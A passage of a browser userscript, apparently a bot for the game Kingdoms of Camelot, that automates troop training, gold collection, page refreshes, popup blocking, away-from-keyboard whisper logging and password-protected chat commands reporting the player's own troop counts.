    if ((t.wood/cost[2]) < t.amt) t.amt = Math.floor(t.wood/cost[2]);
    if ((t.stone/cost[3]) < t.amt) t.amt = Math.floor(t.stone/cost[3]);
    if ((t.ore/cost[4]) < t.amt) t.amt = Math.floor(t.ore/cost[4]);
    if (unitId==13 || unitId==14 || unitId==15) {
		if(TrainOptions.AsSelectMax[t.city]) {
			if(parseInt(t.amt) > parseInt(TrainOptions.AsMax[t.city])) t.amt = TrainOptions.AsMax[t.city];
		}	
		if(parseInt(t.amt) < parseInt(TrainOptions.AsTroops[t.city])) t.amt = 0;
    }
	else {
		if(TrainOptions.SelectMax[t.city]){
			if(parseInt(t.amt) > parseInt(TrainOptions.Max[t.city])) t.amt = TrainOptions.Max[t.city];
			if (unitId == 16) {
				if (parseInt(unsafeWindow.seed.items.i34001)/cost[11]["34001"] < t.amt) t.amt = Math.floor(parseInt(unsafeWindow.seed.items.i34001)/cost[11]["34001"]);
			}
		}
		if(parseInt(t.amt) < parseInt(TrainOptions.Threshold[t.city])) t.amt = 0;
    }
    
    return t.amt>0?true:false;
  },
  
  nextcity : function(){
    var t = Tabs.AutoTrain;
    if (!TrainOptions.Running) return;
	var ts = Math.floor(equippedthronestats(77));
	if (document.getElementById("currts")) {
		document.getElementById("currts").innerHTML = ts+'%';
		t.tsok = (!TrainOptions.tr || (ts >= Number(TrainOptions.trset)));
		if (t.tsok != t.lasttsok) {
			if (!t.tsok) {
				unsafeWindow.jQuery('#currts').css('color', 'red');
			}	
			else {	
				unsafeWindow.jQuery('#currts').css('color', 'black');
			}
		}		
		t.lasttsok = t.tsok;
	}	

    if (TrainOptions.tr && TrainOptions.trset != 0) {
        if (ts < TrainOptions.trset) {
			setTimeout(t.nextcity, 20000);
            return;
            };
        };

    // get more population in previous city ready for next time
    if (t.city !=0) {
		if (TrainOptions.Enabled[t.city] && Options.TourneyModeActive) {
			t.GetMorePopulation(t.city-1); }
	}

    t.city++;
    if(t.city > Seed.cities.length) t.city = 1;
    var cityId = Seed.cities[t.city-1][0];
    var idle = t.checkidlepopulation(cityId);
    var resources = t.checkresources(cityId);
   if(Seed.cityData.city[cityId].isPrestigeCity) {
      var ptrainslots = t.checktrainslots(cityId,true);
      var punit = false;
      if(getCityBuilding(cityId, 22).count)
         punit = 13;
      if(getCityBuilding(cityId, 24).count)
         punit = 14;
      if(getCityBuilding(cityId, 26).count)
         punit = 15;
      if(punit)   
         var ptrain = t.trainamt(cityId, punit);
      if(TrainOptions.AsEnabled[t.city] && idle && ptrainslots && resources && ptrain) {
            t.doTrain(cityId, punit, t.amt, t.nextcity, TrainOptions.Item[t.city]);
            t.city--;
            return;
      };
   };
    var trainslots = t.checktrainslots(cityId);
    var train = t.trainamt(cityId, TrainOptions['Troops'][t.city]);
    
    if(!TrainOptions.Enabled[t.city] || TrainOptions['Troops'][t.city]==0 || !idle || !trainslots || !resources || !train){
        setTimeout(t.nextcity, 5000);
        return;
    }
    t.doTrain(cityId, TrainOptions['Troops'][t.city], t.amt, t.nextcity, TrainOptions.Item[t.city]);
  },
  doTrain : function (cityId, unitId, num, notify, tut){
    var t = Tabs.AutoTrain;
    var time = unsafeWindow.modal_barracks_traintime(unitId, num);
    var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
    params.cid = cityId;
    params.type = unitId;
    params.quant = num;
    if(parseIntNan(tut) > 0)
        params.items = tut;
    if(parseInt(TrainOptions.Gamble[t.city]) > 0)
        params.gambleId = TrainOptions.Gamble[t.city];
    var inPrestige = (params.type == 13 || params.type == 14 || params.type == 15);
    if(params.type == 16)
	if (parseInt(unsafeWindow.seed.items.i34001) < num) {
	   actionLog('Insufficient amount of special items to train ' +unsafeWindow.unitcost["unt" + unitId][0]);
	   return;
	}
    var profiler = new unsafeWindow.cm.Profiler("ResponseTime", "train.php");
    new MyAjaxRequest(unsafeWindow.g_ajaxpath + "ajax/train.php" + unsafeWindow.g_ajaxsuffix, {
        method: "post",
        parameters: params,
        onSuccess: function(rslt) {
			if (rslt.updateSeed)
				unsafeWindow.update_seed(rslt.updateSeed);
			profiler.stop();
			if (rslt.ok) {
				var MORE_WITH_LESS_FACTOR = unsafeWindow.cm.BlessingSystemModel.applyBlessing(unsafeWindow.cm.BlessingSystemModel.getBlessing().MORE_WITH_LESS, cityId, { unitid : unitId });
				for (var i = 1; i < 5; i++) {
					var resourceLost = Math.ceil(parseInt(unsafeWindow.unitcost["unt" + unitId][i]) * MORE_WITH_LESS_FACTOR) * 3600 * parseInt(num);
					if(rslt.gamble) resourceLost = resourceLost*rslt.gamble[i];
					unsafeWindow.seed.resources["city" + cityId]["rec" + i][0] = parseInt(unsafeWindow.seed.resources["city" + cityId]["rec" + i][0]) - resourceLost;
				}
				unsafeWindow.seed.citystats["city" + cityId].gold[0] = parseInt(unsafeWindow.seed.citystats["city" + cityId].gold[0]) - parseInt(unsafeWindow.unitcost["unt" + unitId][5]) * parseInt(num);
				unsafeWindow.seed.citystats["city" + cityId].pop[0] = parseInt(unsafeWindow.seed.citystats["city" + cityId].pop[0]) - Math.ceil(parseInt(unsafeWindow.unitcost["unt" + unitId][6]) * MORE_WITH_LESS_FACTOR) * parseInt(num);
				if (unitId == 16)
					unsafeWindow.seed.items.i34001 = Number(parseInt(unsafeWindow.seed.items.i34001) - (parseInt(unsafeWindow.unitcost["unt" + unitId][11]["34001"]) * parseInt(num)));
				unsafeWindow.seed.queue_unt["city" + cityId].push([unitId, num, rslt.initTS, parseInt(rslt.initTS) + time, 0, time, null,inPrestige]);
				setTimeout (notify, 5000);
				for (postcity in Seed.cities) if (Seed.cities[postcity][0] == params.cid) logcity = Seed.cities[postcity][1];
				actionLog(logcity  + ' Train ' + num + ':  ' + troops[unitId] );
			} else {
				for (postcity in Seed.cities) if (Seed.cities[postcity][0] == params.cid) logcity = Seed.cities[postcity][1];
				ErrCode = '('+rslt.error_code+')';
				if (rslt.msg) ErrCode += ' ' + rslt.msg;
				actionLog(logcity  + ' Failed to train '+num+' '+troops[unitId]+' - Code '+ErrCode);
				setTimeout (notify, 5000);
			}
        },
		onFailure: function () {
			profiler.stop();
			for (postcity in Seed.cities) if (Seed.cities[postcity][0] == params.cid) logcity = Seed.cities[postcity][1];
			actionLog(logcity  + ' Error training '+num+' '+troops[unitId]);
			setTimeout (notify, 5000); 
		}
    },true); // noretry
  },
  
	GetMorePopulation: function (cityidx) {
		var t = Tabs.popcontrol;
		if (!t.tcp) return; // not loaded yet
		var cityId = Seed.cities[cityidx][0]

		t.tcp.selectBut(cityidx);
		t.show_city(cityId);

		t.max_idle_pop = (parseInt(Seed.citystats['city'+cityId].pop[1])).toFixed(0);
		t.cur_idle_pop = (parseInt(Seed.citystats['city'+cityId].pop[0])).toFixed(0);
		num = parseInt(t.max_idle_pop) - parseInt(t.cur_idle_pop);
		if (num == 0) return; // max pop
   
		var trooptype = 0; 
		if (Options.UseTourneyST) {
			trooptype = 1; // ST
		}	
		else {
			if (Options.UseTourneyMM) {
				trooptype = 2; // MM
			}	
			else {
				if (Options.UseTourneySC) {
					trooptype = 3; // SC
				}	
				else {
					if (Options.UseTourneyPK) {
						trooptype = 4; // PK
					}	
					else {
						if (Options.UseTourneySW) {
							trooptype = 5; // SW
						}	
						else {
							if (Options.UseTourneyAR) {
								trooptype = 6; // AR
							}	
						}
					}
				}
			}
		}	

		if (trooptype == 0) return; // none selected

		t.poptab_troop_dismiss = trooptype;
		t.show_city(cityId);

		// if no slots free, check if less than a min to go in current training queue...

		NearlyDone = false;
		if ((t.slots_free <= 0) && (t.barracks != 0)) {
			var q = Seed.queue_unt['city'+cityId];
			for(var i = 0; i<q.length; i++){
				if(!q[i][7]){
					cur = q[i][3] - now;
					break;
				}
			}
			NearlyDone = (cur <= 60);
			if (NearlyDone) {t.log("Nearly Done...");}
		}	
   
		if ((t.cur_mm == 0) && (t.poptab_troop_dismiss == 1) && (Options.UseTourneyMM)) {
			t.poptab_troop_dismiss = 2; // Then try MM
			t.show_city(cityId);
		}   
		if ((t.cur_mm == 0) && (t.poptab_troop_dismiss == 2) && (Options.UseTourneySC)) {
			t.poptab_troop_dismiss = 3; // Then try SC
			t.show_city(cityId);
		}   
		if ((t.cur_mm == 0) && (t.poptab_troop_dismiss == 3) && (Options.UseTourneyPK)) {
			t.poptab_troop_dismiss = 4; // Then try PK
			t.show_city(cityId);
		}   
		if ((t.cur_mm == 0) && (t.poptab_troop_dismiss == 4) && (Options.UseTourneySW)) {
			t.poptab_troop_dismiss = 5; // Then try SW
			t.show_city(cityId);
		}   
		if ((t.cur_mm == 0) && (t.poptab_troop_dismiss == 5) && (Options.UseTourneyAR)) {
			t.poptab_troop_dismiss = 6; // Then try AR
			t.show_city(cityId);
		}   
   
		if (((t.slots_free > 0) || NearlyDone) && (t.cur_mm != 0) ) {
			t.log("Generating Tournament Population");
			t.dismiss_mm(cityId,true); // no retry
		}	
	},

}

/************************ Gold Collector ************************/
var CollectGold = {
  timer : null,
  lastCollect : {},
      
  init : function (){
    var t = CollectGold;
    for (var c=0; c<Cities.numCities; c++)
      t.lastCollect['c'+ Cities.cities[c].id] = 0;
    if (Options.pbGoldEnable)
      t.setEnable (true);
  },
  
  setEnable : function (tf){
    var t = CollectGold;
    clearTimeout (t.timer);
    if (tf)
      t.tick();
  },

  colCityName : null,
  colHappy : 0,  
  tick : function (){
    var t = CollectGold;
    for (var c=0; c<Cities.numCities; c++){
      var city = Cities.cities[c];
      var happy = Seed.citystats['city'+ city.id].pop[2];
      var since = unixTime() - t.lastCollect['c'+city.id];
      if (happy>=Options.pbGoldHappy && since>15*60){
        t.lastCollect['c'+city.id] = unixTime();
        t.colCityName = city.name;
        t.colHappy = happy;
        t.ajaxCollectGold (city, t.e_ajaxDone);
        break;
      }
    }
    t.timer = setTimeout (t.tick, 15000);    
  },

  e_ajaxDone : function (rslt){
    var t = CollectGold;
    if (rslt.ok)
      actionLog ('Collected '+ rslt.goldGained +' gold for '+ t.colCityName +' (happiness was '+ t.colHappy +')');
    else
      actionLog ('Error collecting gold for '+ t.colCityName +': <SPAN class=boldRed>'+ rslt.errorMsg +'</span>');
  },
  
  ajaxCollectGold : function (city, notify){
    var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
    params.cid = city.id;
    new MyAjaxRequest(unsafeWindow.g_ajaxpath + "ajax/levyGold.php" + unsafeWindow.g_ajaxsuffix, {
      method: "post",
      parameters: params,
      onSuccess: function (rslt) {
        if (notify)  
          notify (rslt);
      },
      onFailure: function (rslt) {
        if (notify)  
          notify (rslt);
      }
    });
  },
}

/************************ Refresh Every X minutes ************************/
var RefreshEvery  = {
  timer : null,
  PaintTimer : null,
  NextRefresh : 0,
  box : null,
  target : null,
  
  init : function (){
    var t = RefreshEvery;
    t.creatediv();
    if (Options.pbEveryMins < 1)
        Options.pbEveryMins = 1;
    RefreshEvery.setEnable (Options.pbEveryEnable);
  },
  
  creatediv : function(){
    var t = RefreshEvery;
    t.target = document.getElementById('comm_tabs');
    if(t.target == null){
        setTimeout(t.creatediv, 2000);
        return;
    }
    t.box = document.createElement('div');
    t.target.appendChild(t.box);
    t.box.addEventListener('click', function () {t.setEnable(Options.pbEveryEnable)}, false);
  },
  
  setEnable : function (tf){
    var t = RefreshEvery;
    clearTimeout (t.timer);
    if (tf) {
      //t.timer = setTimeout (t.doit, Options.pbEveryMins*60000);
      t.NextRefresh = unixTime() + (Options.pbEveryMins*60);
      t.timer = setTimeout (t.Paint, 1000);
    } else {
        //t.PaintTimer = null;
        t.timer = null;
        t.NextRefresh = 0;
        t.box.innerHTML = '<BR><FONT color=white><B>&nbsp;&nbsp;&nbsp;&nbsp;'+ getMyAlliance()[1] + ' (' + getServerId() +')</b></font>';
    }
  },
  
  doit : function (){
    actionLog ('Refreshing ('+ Options.pbEveryMins +' minutes expired)');
    reloadKOC();
  },
  
  setTimer : function (){
    var t = RefreshEvery;
    clearTimeout (t.timer);
    if (Options.pbEveryMins < 1) Options.pbEveryMins = 1;
    RefreshEvery.setEnable (Options.pbEveryEnable);
  },
  
  Paint : function(){
     var t = RefreshEvery;
     if(t.timer == null) return;
     now = unixTime();
     //var text = '<FONT color=white><B>&nbsp;&nbsp;&nbsp;&nbsp;'+ getMyAlliance()[1] + ' (' + getServerId() +')</b></font>';
     var text = '';
     var Left = parseInt(t.NextRefresh - now);
     if(Options.detAFK) {
     if ( Left < 0 && isAFK){
		clearTimeout (t.timer);
        Left = 0;
        t.doit();
     }    	
     } else {
    if ( Left < 0){
		clearTimeout (t.timer);
        Left = 0;
        t.doit();
     }
 
     };
     if (Left < -1) text += '<BR>&nbsp;&nbsp;&nbsp;&nbsp;<FONT color=white>'+translate("Waiting for AFK")+': <B>'+ timestr(Left*-1) +'</b></font></div>';
     else if ( Left < 60) text += '<BR>&nbsp;&nbsp;&nbsp;&nbsp;<FONT color=white>'+translate("Next refresh in")+': </font><FONT color=red><B>'+ timestr(Left) +'</b></font></div>';
     else text += '<BR>&nbsp;&nbsp;&nbsp;&nbsp;<FONT color=white>'+translate("Next refresh in")+': <B>'+ timestr(Left) +'</b></font></div>';

     t.box.innerHTML = text;
     t.timer = setTimeout (t.Paint, 1000);
  },
}
/************************ Fairie Killer ************************/
var FairieKiller  = {
  saveFunc : null,
  init : function (tf){








    if (firefoxVersion.substring(0,4) == '4.0b')  // bug in firefox 4.0b10 causes syntax error with: "var func = eval ('function (){}');"
      return;
    FairieKiller.saveFunc = unsafeWindow.Modal.showModalUEP;
    FairieKiller.setEnable (tf);
  },
  setEnable : function (tf){
    if (tf)
      unsafeWindow.Modal.showModalUEP = eval ('function FairieKiller (a,b,c) {actionLog ("Blocked Faire popup");}');
    else
      unsafeWindow.Modal.showModalUEP = FairieKiller.saveFunc;
  },
}

/********** facebook watchdog: runs only in 'https://apps.facebook.com/kingdomsofcamelot/*' instance!  ******/
function facebookWatchdog (){
	var INTERVAL = 50000; // wait 50 seconds before checking DOM
	if (!GlobalOptions.pbWatchdog) return;
	setTimeout (watchdog, INTERVAL);
  
	function watchdog (){
		try {
			if (document.getElementById('app_content_130402594779') == null){
				logit ("KOC NOT FOUND (FB)!");
				KOCnotFound(20);
			}
		} catch (e){
			logit ("KOC NOT FOUND (FB)!");
			KOCnotFound(20);
		}
	}
}

function kocWatchdog (){
	var INTERVAL = 50000; // wait 50 seconds before checking DOM
	if (!GlobalOptions.pbWatchdog) return;
	setTimeout (kwatchdog, INTERVAL);
  
	function kwatchdog (){
		try {
			if (document.getElementById('mod_maparea')==null){
				logit ("KOC NOT FOUND (KABAM)!");
				KOCnotFound(20);
			}
		} catch (e){
			logit ("KOC NOT FOUND (KABAM)!");
			KOCnotFound(20);
		}
	}
}

function KOCnotFound(secs){
  var div;
  var countdownTimer = null;
  var endSecs = (new Date().getTime()/1000) + secs;
  
  div = document.createElement('div');
  div.innerHTML = '<DIV style="font-size:18px; background-color:#a00; color:#fff"><CENTER><BR>KOC Power Bot has detected that KOC is not loaded<BR>Refreshing in <SPAN id=pbwdsecs></span><BR><INPUT id=pbwdcan type=submit value="Cancel Refresh"><BR><BR></div>';
  document.body.insertBefore (div, document.body.firstChild);
  document.getElementById('pbwdcan').addEventListener('click', cancel, false);
    countdownTimer = setInterval (countdown, 1000);
      
  function countdown (){
    var secsLeft = endSecs - (new Date().getTime()/1000);
    document.getElementById('pbwdsecs').innerHTML = timestr(secsLeft);
    if (secsLeft < 0) {
	  clearTimeout (countdownTimer);
      reloadKOC();
	}  
  }
  function cancel (){
    clearTimeout (countdownTimer);
    document.body.removeChild (div);
  }
}


var WideScreen = {
  chatIsRight : false,
  useWideMap : false,
  rail : null,
  
  init : function (){
    t = WideScreen;
    if (GlobalOptions.pbWideScreen){
      t.rail = searchDOM (document.getElementById('mod_maparea'), 'node.className=="maparea_rrail"', 10);
      GM_addStyle ('.modalCurtain {width:760px !important} .mod_comm_mmb{z-index:0 !important}');  
      try {
        document.getElementById('progressBar').parentNode.removeChild(document.getElementById('progressBar'));
        document.getElementById('crossPromoBarContainer').parentNode.removeChild(document.getElementById('crossPromoBarContainer'));
      } catch (e) {
      }
    }
  },
        
  setChatOnRight : function (tf){
    t = WideScreen;
    if (tf == t.chatIsRight || !GlobalOptions.pbWideScreen)
      return;
    if (tf){
      var chat = document.getElementById('kocmain_bottom').childNodes[1];
      if (!chat || chat.className!='mod_comm')
        setTimeout (function (){t.setChatOnRight(tf)}, 1000);
      chat.style.top = '-624px';
      chat.style.left = '760px';
      chat.style.height = '720px';
      chat.style.background = 'url("'+ CHAT_BG_IMAGE +'")';
      document.getElementById('mod_comm_list1').style.height = '580px';
      document.getElementById('mod_comm_list2').style.height = '580px';
    } else {
      var chat = document.getElementById('kocmain_bottom').childNodes[1];
      chat.style.top = '0px';
      chat.style.left = '0px';
      chat.style.height = '';
      chat.style.background = '';
      document.getElementById('mod_comm_list1').style.height = '287px';
      document.getElementById('mod_comm_list2').style.height = '287px';
    }
    t.chatIsRight = tf;
  },
  
  useWideMap : function (tf) {
      t = WideScreen;
      if (tf == t.useWideMap || !GlobalOptions.pbWideScreen)
          return;
      if (tf){
      t.rail.style.display = 'none';
      document.getElementById('mapwindow').style.height = "436px";
      document.getElementById('mapwindow').style.width = "1220px";
      document.getElementById('mapwindow').style.zIndex = "50";
      } else {
      t.rail.style.display = 'block';
      document.getElementById('mapwindow').style.height = "439px";
      document.getElementById('mapwindow').style.width = "760px";
      document.getElementById('mapwindow').style.zIndex = "";
      }
  },
}

/*******************  Whisper Tab ****************/


Tabs.Whisper = {
   tabOrder: 199999,
   tabDisabled : false,
   tabLabel : 'Whisper',
   myDiv : null,
   LoggedWhispers : [],
   catchwhispers : null,
   
   init : function (div) {
      var t = Tabs.Whisper;      
		unsafeWindow.whisperlog = t.whisperlog;
		t.whisperlog();
      t.myDiv = div;
      var m = '<DIV class=pbStat>Logged whispers while afk</div><br>';
		m += '<table><tr><td><INPUT id=pbpostwh type=submit value="Show logged whispers" \></td><td><INPUT id=pbdelwh type=submit value="Delete Logged Whispers" \></td></tr></table>';      
      div.innerHTML = m;
      
      document.getElementById('pbpostwh').addEventListener ('click', function() {t.postWhisper()}, false);
      
      document.getElementById('pbdelwh').addEventListener ('click', function() {t.eraseWhisper()} , false);
      
   },
   
   saveWhisper : function (){
      var t = Tabs.Whisper;
  		var serverID = getServerId();
   	setTimeout (function (){GM_setValue ('Whisper_' + Seed.player['name'] + '_' +serverID, JSON2.stringify(t.LoggedWhispers));}, 0);
	},
   
   readWhisper : function (){
      var t = Tabs.Whisper;
 	   var serverID = getServerId();
 		s = GM_getValue ('Whisper_'+Seed.player['name']+'_'+serverID, '[]');
  		if (s != null){
    		opts = JSON2.parse (s);
    		for (k in opts){
      		if (matTypeof(opts[k]) == 'object')
        			for (kk in opts[k])
         			t.LoggedWhispers[k][kk] = opts[k][kk];
      		else
        			t.LoggedWhispers[k] = opts[k];
    		}
  		}
	},
   
   postWhisper : function () {
      var t = Tabs.Whisper;
		var mod_comm_list2 = document.getElementById('mod_comm_list2');
		var mod_comm_list1 = document.getElementById('mod_comm_list1')
		for(k = 0;k<t.LoggedWhispers.length;k++) {
      	var chatwrap1 = document.createElement("div");
            chatwrap1.className = "chatwrap clearfix direct";
            chatwrap1.innerHTML = t.LoggedWhispers[k];		
       	var chatwrap2 = document.createElement("div");
            chatwrap2.className = "chatwrap clearfix direct";
            chatwrap2.innerHTML = t.LoggedWhispers[k];
			mod_comm_list2.insertBefore(chatwrap2,mod_comm_list2.firstChild);
			mod_comm_list1.insertBefore(chatwrap1,mod_comm_list1.firstChild);
		};
	},
	
   eraseWhisper : function() {
      var t = Tabs.Whisper;
		t.LoggedWhispers = [];
		t.saveWhisper();
	},
	
	whisperlog : function(innerHTML) {
   	var t = Tabs.Whisper;
		if(!innerHTML) {
			t.readWhisper();
     		t.catchwhispers = new CalterUwFunc ('Chat.getChat', [[/linkComment\)\;if/,'linkComment\)\;if(i==3)whisperlog(chatwrap.innerHTML);if']]);
     		t.catchwhispers.setEnable(true);
		} else {
			if(isAFK) {
				t.LoggedWhispers.push(innerHTML);
				t.saveWhisper();
				//logit(inspect(chatwrap));
			};
		};
  },	
	
   
  hide : function (){
    var t = Tabs.Whisper;
  },

  show : function (){
    var t = Tabs.Whisper;
  },  
}

/*******************  End Whisper ****************/



/*******************  Chat tab ****************/
Tabs.Chat = {
  tabOrder : 300,
  tabLabel : unsafeWindow.g_js_strings.commonstr.chat,
  myDiv : null,
  timer : null,  
  
  init : function (div){    // called once, upon script startup
    var t = Tabs.Chat;
    t.myDiv = div;
    unsafeWindow.pbviewtroops = t.viewtroops;
    t.myDiv.innerHTML = '<DIV class=pbStat>'+translate("Chat Answer/Reply Info")+'</div><TABLE><TR>\
                        <TD><input type=checkbox id=pbchatqaenable /></td><TD>'+translate("Enable chat functions")+' </td></tr>\
                        <TR><TD><input type=checkbox id=pbchatpassenable /></td><TD>'+translate("Enable password:")+'  <input type=text id=pbchatpass value="'+ ChatOptions.password +'"/></td>\
                        <TD width=10px>&nbsp;</td><TD><input type=checkbox id=pbautoblacklist />'+translate("Auto blacklist players if 1st attempt fails")+'</td></tr>\
                        <TR><TD></td><TD valign=top>'+translate("Allowed Players:")+' <br><textarea cols=30 rows=1 id=allowUserBox></textarea></td>\
                        <TD width=10px>&nbsp;</td><TD> '+translate("Blacklisted Players")+' <br><textarea cols=30 rows=1 id=blacklistUserBox ></textarea></td></tr>\
                        <TR><TD colspan=3>'+translate("Type \"/[Player] units? [password]\" to get a unit count <br> Type \"/[Player] attacks? [password]\" to get impending attacks")+' <br> '+translate("Type \"/[Player] tr? [password] [preset]\" to switch to a specific TR preset.")+'<br>' +translate("Player name is cAsE-SeNsItIvE")+' </td></tr></table>';
    t.togtext('allowUserBox', 'AllowUsersRemoteControl');
    t.togtext('blacklistUserBox', 'BlacklistUsersRemoteControl');
    t.togOpt('pbchatqaenable', 'Chatenable', ChatStuff.init);
    t.togOpt('pbchatpassenable', 'Chatpassenable');
    t.togOpt('pbautoblacklist', 'Chatautoblacklist');
    document.getElementById('pbchatpass').addEventListener('change', function(e){
        ChatOptions.password = e.target.value;
        GM_log(e.target.value);
        saveChatOptions();
    }, false);
  },
  
  togtext : function(boxId, optionName){
    var t = Tabs.Chat;
    var e = document.getElementById(boxId);
    var text = '';
    for(i=0; i<ChatOptions[optionName].length; i++)
        text += ChatOptions[optionName][i]+'\n';
    e.value = text;
    e.addEventListener('change', new eventToggle(boxId, optionName).handler, false);
    function eventToggle (boxId, optionName){
      this.handler = handler;
      var optName = optionName;
      function handler(event){
        ChatOptions[optionName] = [];
        var values = this.value.split('\n');
        for(var i=0; i<values.length; i++)
            ChatOptions[optionName][i] = values[i];
        saveChatOptions();
      }
    }
  },
  
  togOpt : function (checkboxId, optionName, callEnable, callIsAvailable){
    var t = Tabs.Chat;
    var checkbox = document.getElementById(checkboxId);
    
    if (callIsAvailable && callIsAvailable()==false){
      checkbox.disabled = true;
      return;
    }
    if (ChatOptions[optionName])
      checkbox.checked = true;
    checkbox.addEventListener ('change', new eventToggle(checkboxId, optionName, callEnable).handler, false);
    function eventToggle (checkboxId, optionName, callOnChange){
      this.handler = handler;
      var optName = optionName;
      var callback = callOnChange;
      function handler(event){
        ChatOptions[optionName] = this.checked;
        saveOptions();
        if (callback != null)
          callback (this.checked);
      }
    }
  },
  
  viewtroops : function (u1,u2,u3,u4,u5,u6,u7,u8,u9,u10,u11,u12){
    var t = Tabs.Chat;
      t.popReport = new pbPopup('pbShowTroops', 0, 0, 500, 300, true);
      t.popReport.centerMe (mainPop.getMainDiv());  
      var m = '<DIV style="max-height:275px; height:275px; overflow-y:scroll">';
      
      m+='<TABLE class=ptTab>\
        <TR><TD><b>'+translate("Impending Attack")+'</b></td></tr></table>';
    m+='<TABLE class=ptTab><TR><TD align="center">'+translate("Troops")+'</td><TD align="center">'+translate("Amount")+'</td></tr>';
    
    if(u1) m+='<TR><TD align="center"><img src='+http+'koc.god-like.info/img/unit_1_30.png></td><TD align="center">'+parseInt(u1)+'</td></tr>';
    if(u2) m+='<TR><TD align="center"><img src='+http+'koc.god-like.info/img/unit_2_30.png></td><TD align="center">'+parseInt(u2)+'</td></tr>';
    if(u3) m+='<TR><TD align="center"><img src='+http+'koc.god-like.info/img/unit_3_30.png></td><TD align="center">'+parseInt(u3)+'</td></tr>';
    if(u4) m+='<TR><TD align="center"><img src='+http+'koc.god-like.info/img/unit_4_30.png></td><TD align="center">'+parseInt(u4)+'</td></tr>';
    if(u5) m+='<TR><TD align="center"><img src='+http+'koc.god-like.info/img/unit_5_30.png></td><TD align="center">'+parseInt(u5)+'</td></tr>';
    if(u6) m+='<TR><TD align="center"><img src='+http+'koc.god-like.info/img/unit_6_30.png></td><TD align="center">'+parseInt(u6)+'</td></tr>';
    if(u7) m+='<TR><TD align="center"><img src='+http+'koc.god-like.info/img/unit_7_30.png></td><TD align="center">'+parseInt(u7)+'</td></tr>';
    if(u8) m+='<TR><TD align="center"><img src='+http+'koc.god-like.info/img/unit_8_30.png></td><TD align="center">'+parseInt(u8)+'</td></tr>';
    if(u9) m+='<TR><TD align="center"><img src='+http+'koc.god-like.info/img/unit_9_30.png></td><TD align="center">'+parseInt(u9)+'</td></tr>';
    if(u10) m+='<TR><TD align="center"><img src='+http+'koc.god-like.info/img/unit_10_30.png></td><TD align="center">'+parseInt(u10)+'</td></tr>';
    if(u11) m+='<TR><TD align="center"><img src='+http+'koc.god-like.info/img/unit_11_30.png></td><TD align="center">'+parseInt(u11)+'</td></tr>';
    if(u12) m+='<TR><TD align="center"><img src='+http+'koc.god-like.info/img/unit_12_30.png></td><TD align="center">'+parseInt(u12)+'</td></tr>';
    
      m+='<TR><TD></TD></TR><TR><TD></TD></TR></table>';
    
    m+='</div>';
      t.popReport.getMainDiv().innerHTML = m;
      t.popReport.getTopDiv().innerHTML = '<TD><CENTER><B>'+translate("Incoming")+'</b></center></td>';
      t.popReport.show(true)    ;
  },
  
  hide : function (){

  },
  
  show : function (){

  },

}

var ChatStuff = {
timeout : null,
processqueue : [],
latestChats : [],

  init:function() {
    var t=ChatStuff;
    var comm=document.getElementById('mod_comm_list2');
    if(comm && ChatOptions.Chatenable) {
        if(t.timeout == null) {
            t.GetLatestChat();
            t.timeout = window.setTimeout(function() {
                t.IterateChat(t.ChatAdded);
            },200);
        } else {
            logit("Maybe too many chat messages, chat already processing.");
        }
    }
    window.setTimeout(function() {
        t.init();
    },5000);
  },

  GetLatestChatStr:function(chatObj) {
    return chatObj.name+'#'+chatObj.time+'#'+chatObj.text.split(/[\.\?]/)[0];
  },

  GetLatestChat:function() {
    var t = ChatStuff;
    t.latestChats = ChatOptions.latestChats;
    if(t.latestChats.length>25) {
        t.latestChats.splice(0,1);
    }
  },

  GetChatTimeNum:function(time) {
    var tarr=time.split(':');
    if(!time) return undefined;
    var timeNum=(tarr[0]*60)+tarr[1];
    return timeNum;
  },

  GetChatObj:function(htmlObj) {
    var t=ChatStuff;
    var nm=searchDOM(htmlObj,'node.className=="nm"',8);
    var time=searchDOM(htmlObj,'node.className=="time"',8);
    var tx=searchDOM(htmlObj,'node.className=="tx"',8);
    if(!nm || !time || !tx) { return undefined; }
    var nameArr=nm.innerHTML.split(' ');
    //var Afchar = new RegExp(atob('rQ=='),"g");
    //tx = tx.replace(Afchar,"").replace(/\&\#8232\;/g,"");
    var fromMe = nameArr[1]==Seed.player.name?true:false;
    return {
        'obj':htmlObj,
        'textObj':tx,
        'name':nm.innerHTML,
        'time':time.innerHTML,
        'text':tx.innerHTML,
        'shortName':nameArr[1],
        'timeNum':t.GetChatTimeNum(time.innerHTML),
        'fromMe':fromMe?1:0,
    };
  },

  IterateChat:function(func) {
    var t=ChatStuff;
    var comm = document.getElementById('mod_comm_list2');
    var directs = searchDOM(comm,'node.className=="chatwrap clearfix direct"',4,true);
    var chats=[];
    for(var d=directs.length-1; d>=0; d--) {
        var direct=directs[d];
        var chatObj=t.GetChatObj(direct);
        if(chatObj) {
            chats.push([direct,chatObj]);
        }
    }
    t.checkProcessed(chats, func);
  },

  checkProcessed : function(chats, func){
    var t=ChatStuff;
    for(var c=0; c<chats.length; c++) {
        var found = false;
        var chatObj=chats[c][1];
        for(var i=0; i<t.latestChats.length; i++){
            if(t.latestChats[i] == t.GetLatestChatStr(chatObj))
                found = true;
        }
        if(!found){
        chatObj.notProcessed=true;
        ChatOptions.latestChats.push(t.GetLatestChatStr(chatObj));
        }
        func(chatObj);
    }
    saveChatOptions();
    t.timeout = null;
  },

  GetCitiesHash:function(arr) {
    var h={};
    for(var a=0; a<arr.length; a++) {
        var city=arr[a];
        var newA=[]
        Array.prototype.push.apply(newA, city);

        h[city[0]]=newA;
    }
    return h;
  },

  SendChat:function(name,mess) {
    var inp=document.getElementById('mod_comm_input');
    inp.value="@"+name+' '+mess;
    logit('Send chat:'+mess);
    unsafeWindow.Chat.sendChat();
  },

  ChatFuncs:{
    'units':{
        'question':function(chatObj,info) {
            if(!chatObj.notProcessed) { return; }
            var t=ChatStuff;
            
            t.SendChat(chatObj.shortName,"units."+JSON2.stringify({
                'cities':t.GetCitiesHash(Seed.cities),
                'units':Seed.units,
            }));
        },
        'answer':function(chatObj,info) {
            var t=ChatStuff;
            // {"city24479":{"tick":1297589617,"rec1":"[756220044, 2592000000, 7100, 3033]","rec2":"[539696566, 1836000000, 5000, 0]","rec3":"[191319892, 1548000000, 4200, 0]","rec4":"[4512787, 1512000000, 4100, 0]"}}
            var infoObj=JSON2.parse(info);
            var res=infoObj.units;
            var cities=infoObj.cities;
            
            chatObj.textObj.innerHTML='';
            var table=document.createElement('table');
            //table.className='direct';
            function AddCell(tr) {
                var td=tr.insertCell(-1);
                //td.className='direct';
